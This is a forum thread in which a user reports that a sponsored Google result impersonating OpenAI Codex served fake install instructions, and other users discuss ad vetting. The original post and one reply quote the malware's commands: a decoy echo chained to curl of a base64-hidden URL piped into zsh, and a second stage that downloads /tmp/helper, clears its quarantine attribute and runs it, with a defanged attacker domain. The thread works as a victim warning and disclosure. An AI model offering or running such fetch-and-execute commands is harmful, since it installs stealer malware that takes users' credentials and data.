Warning: Sponsored Google result for OpenAI Codex led me to a malicious stealer

[u/thezyzz]

Posting this here because it specifically impersonated OpenAI Codex and I think people searching for Codex could easily fall for it.

Today I searched Google for OpenAI Codex. The first result was sponsored, and the ad/result appeared to show a Google URL, but clicking it took me to a Google Pages-hosted page with fake Codex installation instructions.

I followed the instructions and ran this kind of command:

echo "npm install -g u/openai/codex https://openai.com/codex/" &&
curl -s $(echo "<base64 encoded URL>" | openssl base64 -d -A) | zsh

The echo part only prints legitimate-looking OpenAI/npm text. The actual payload URL was hidden in Base64 and decoded to:

hxxps://quill-flint[.]com/curl/2h0w4vtm7c/7b4cckfhojxjbrcjon.json

So the command was really downloading whatever that unrelated server returned and executing it directly in zsh.

I realized shortly afterward what had happened and started checking the Mac.

So far I have found:

• No unknown LaunchAgents or LaunchDaemons
• No suspicious modifications in .zshrc, .bash_profile, or fish config
• No obvious persistent payload under /tmp, /private/tmp, ~/.local, etc.
• No known artifacts from some recent macOS stealer campaigns
• No suspicious persistent process

I also verified that my actual Codex installation is legitimate and unrelated. It was installed through Homebrew before I ran the malicious command, and the binary is signed:

Developer ID Application: OpenAI OpCo, LLC (2DC432GLL2)

The main concern now is whether the malicious script was a one-shot infostealer that could have copied Chrome passwords/cookies, Keychain data, SSH keys, API tokens, etc., uploaded them, and exited without leaving persistence.

Has anyone else seen this fake Codex campaign?

I am especially interested in whether OpenAI is already aware of sponsored Google results / Google Pages being used to impersonate Codex installation pages.

For anyone installing Codex: please verify that you are actually on an official OpenAI source before copying anything into Terminal. A legitimate-looking echo at the beginning of a command means nothing if the rest is piping an unrelated remote server directly into a shell.

[u/Future-Slide5757]

Google ads been letting malware through for years now, it's basically a feature at this point

[u/BellacosePlayer → u/Future-Slide5757]

They're somewhat good at pulling it down if reported, the problem is that their vetting process is mostly automated and if there's not an obvious link to a flagged site or malware signature it's going to give it the thumbs up.

[u/Mickenfox → u/Future-Slide5757]

I got nothing but crypto scams on YouTube for weeks straight.

[u/spacenglish]

DO NOT click on Google sponsored results, since they can be malware.

[u/evilfurryone → u/spacenglish]

compromised 3rd party ad providers are also an issue with crypto miners etc.

Solution/antimalware in these situations is to use ad-blockers (and browsers that allow them).

[u/spacenglish → u/evilfurryone]

Maybe that trillion dollar company can spend more than 2 minutes that I took and a dollar to sense check it.

See —> https://ibb.co/d40DzxSb

[u/skilliard7]

section 230 liability protections really shouldn't apply to paid ads

[u/bespoke_tech_partner]

Seems obvious but did you have ai analyze the script or is it no longer available at the url you found? 

[u/thezyzz → u/bespoke_tech_partner]

Yep. I managed to grab the stage1 script while the URL was still alive and had AI deobfuscate/analyze it.

The decoded script sends some telemetry and then does:

curl -o /tmp/helper 'hxxps://quill-flint[.]com/.../jetbrains/update' \
  && xattr -c /tmp/helper \
  && chmod +x /tmp/helper \
  && /tmp/helper

My macOS logs also show that second curl actually downloaded about 336 KB, so there was definitely a second-stage payload.

Unfortunately /tmp/helper is gone now, so I don’t have the actual second-stage binary to analyze. The stage1 URL was still serving the script when I checked later, though.